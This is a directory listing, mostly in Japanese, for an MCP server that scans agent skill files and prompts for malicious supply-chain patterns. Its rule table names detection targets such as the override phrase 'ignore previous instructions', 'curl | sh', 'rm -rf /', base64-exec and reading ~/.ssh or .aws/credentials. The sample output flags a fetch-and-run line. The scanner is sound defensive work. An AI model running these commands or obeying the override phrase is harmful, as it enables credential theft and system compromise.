Skip to main content
Glama
sudo-ai-git

mcp-skill-sec

by sudo-ai-git

mcp-skill-sec

任意のエージェントスキル、システムプロンプト、またはダウンロードしたファイルコレクションを、8つの悪意あるスキルサプライチェーンパターン に照らして監査する Model Context Protocol(MCP)サーバー。

決定的で、LLM不要、ネットワーク呼び出しなし — Claude Code、Cursor、Copilot、OpenClaw、Codex CLI、および任意のMCP互換エージェントで動作する自己ホスト可能なインストール前スキャナーです。

スキャン対象(ルールR1–R8)

ルール

パターン

R1

プロンプトインジェクション / 命令の乗っ取り(ignore previous instructions、機密保持の指示、アイデンティティの上書き)

R2

データ外部送信の意図(コンテンツをURLに送信/投稿/メール送信、ログの窃取)

R3

ハードコードされたシークレット / 認証情報(APIキー、PAT、秘密鍵、接続文字列)

R4

危険なコマンド(rm -rf /curl | sh、フォーク爆弾、rawデバイスへの書き込み)

R5

難読化 / 隠れた動作(base64-exec、eval/exec、ゼロ幅文字)

R6

信頼できない外部からの取得(fetch-and-run、非PyPIインストール)

R7

認証情報へのアクセス(~/.ssh.aws/credentials.env の読み取り)

R8

権限昇格(sudo -s、setuid、sudoグループへの追加)

各検出結果には severity(critical/high/medium/low)、行番号、および一致する証拠の行が含まれます。総合判定は、critical/high の検出結果がなく、すべての medium の検出結果が無害である場合にのみ PASS となります。

Related MCP server: Heron

ツール

  • audit_text(text, filename) — 文字列(貼り付けられたスキルや、自分が書いていないシステムプロンプト)を監査します。

  • audit_skill_file(path) — ディスク上の SKILL.md / AGENTS.md / CLAUDE.md を監査し、行番号付きの証拠を返します。

  • audit_directory(path, pattern) — ダウンロードしたスキルコレクション全体を監査し、ファイルごとの判定とサマリーを返します。

  • rule_list() — ルールカタログを出力します。

インストールと実行

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / エージェント設定

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

使用例

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

ライセンスと出典

MIT。作者: sudo-ai-git。これはスタンドアロンのセキュリティ/検証ツールであり、独自の方法をコード化したものではありません。これは skill-sec エージェントスキルのMCP表現です(同じルールを、スキルとしてではなくサーバーとして呼び出せます)。

公式MCPレジストリのメタデータ

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

A
license - permissive license
Not graded
quality - not tested
C
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • F
    license
    Not graded
    quality
    B
    maintenance
    Static security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.
    15
  • A
    license
    Not graded
    quality
    B
    maintenance
    Security scanning for AI agent skills, MCP servers, and agent prompts, returning signed trust scores and detailed findings.
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    Provides audit_plugin_health and prepare_semantic_review tools for deterministic inspection of Codex plugins and Agent Skills, generating evidence-backed reports without executing or transmitting target code.
    1
    MIT
  • A
    license
    Not graded
    quality
    D
    maintenance
    Security scanner for AI agent skills, providing tools to scan skill files for threats such as credential theft and prompt injection.
    MIT

View all related MCP servers

Related MCP Connectors

  • Scan agent skills and MCP servers for malicious patterns before you load them

  • Scan GitHub-hosted AI skills for vulnerabilities: prompt injection, malware, OWASP LLM Top 10.

  • Read-only tools over the Safer Agentic AI framework: 238 patterns + 14 heuristics.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/sudo-ai-git/mcp-skill-sec'

If you have feedback or need assistance with the MCP directory API, please join our Discord server